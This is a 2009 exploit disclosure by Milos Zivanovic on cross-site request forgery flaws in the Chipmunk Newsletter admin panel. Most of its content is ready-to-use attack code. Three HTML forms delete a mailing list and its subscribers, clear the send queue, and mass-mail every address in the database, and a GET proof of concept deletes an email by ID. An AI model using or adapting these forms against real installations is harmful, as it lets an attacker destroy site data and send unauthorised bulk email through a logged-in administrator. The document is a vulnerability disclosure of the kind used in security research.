[-------------------------------------------------------------------------------------------------]
[ Title: Chipmunk Newsletter CSRF Vulnerabilities ]
[ Author: Milos Zivanovic ]
[ Date: 11. December 2009. ]
[-------------------------------------------------------------------------------------------------]
[-------------------------------------------------------------------------------------------------]
[ Application: Chipmunk Newsletter ]
[ Version: the only one there is ]
[ Download: http://www.chipmunk-scripts.com/newsletter/newsletter.zip ]
[ Vulnerability: Cross Site Request Forgery ]
[-------------------------------------------------------------------------------------------------]
I've noticed one XSS exploit was found by someone else so i decided to check it a little bit more
and i found some sweet CSRF exploits in admin panel.
[#]Content
|--CSRF Delete Email List (also will remove all mails subscribed to this list)
|--CSRF Clear Queue (Set all send to zero?)
|--CSRF Send letter (this will mass mail all mails in database)
|--CSRF Delete Email by ID
[-]CSRF Delete Email List (also will remove all mails subscribed to this list)
[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/newsletter/admin/dellist.php" method="POST">
<select name='lists'>
<option value='3'>newsletter_list</option>
</select>
<input type='submit' name='submit' value='Delete'>
</form>
[EXPLOIT------------------------------------------------------------------------------------------]
[-]CSRF Clear Queue (Set all send to zero?)
[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/newsletter/admin/clearqueue.php" method="POST">
<input type="submit" name="submit">
</form>
[EXPLOIT------------------------------------------------------------------------------------------]
[-]CSRF Send letter (this will mass mail all mails in database)
[EXPLOIT------------------------------------------------------------------------------------------]
<form action="http://localhost/newsletter/admin/sendletter.php" method="POST">
<input type='text' name='subject' value="Mail Subject">
<select name='lists'>
<option value='0' selected>All</option>
</select>
<textarea name='nletter' rows='8' cols='60' id='7'>Mail message here</textarea>
<input type='submit' name='submit' value='submit'>
</form>
[EXPLOIT------------------------------------------------------------------------------------------]
[-]CSRF Delete Email by ID
[POC----------------------------------------------------------------------------------------------]
http://localhost/newsletter/admin/deleteadd.php?ID=[ID]
[POC----------------------------------------------------------------------------------------------]
[-------------------------------------------------------------------------------------------------]
[ EOF ]
[-------------------------------------------------------------------------------------------------]